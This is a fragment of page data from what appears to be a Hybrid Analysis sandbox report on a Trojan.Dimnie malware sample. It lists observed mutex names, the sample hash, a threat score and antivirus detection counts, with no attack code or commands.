\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{683315A6-0000-0000-000A-0000683315A6}","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]}]}},"report_ids":{"sandbox_job_ids":["588b17f4aac2edd52993c386"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Dimnie Sample 3f73b09d9cdd… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 3f73b09d9cdd…. Malware family: Trojan.Dimnie. Threat score 100/100. 21/28 AV engines flagged this file. 7 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Dimnie Sample 3f73b09d9cdd… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 3f73b09d9cdd…. Malware family: Trojan.Dimnie. Threat score 100/100. 21/28 AV engines flagged this file. 7 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Dimnie Sample 3f73b09d9cdd… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 3f73b09d9cdd…. Malware family: Trojan.Dimnie. Threat score 100/100. 21/28 AV engines flagged this file. 7 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L29","11",{}]]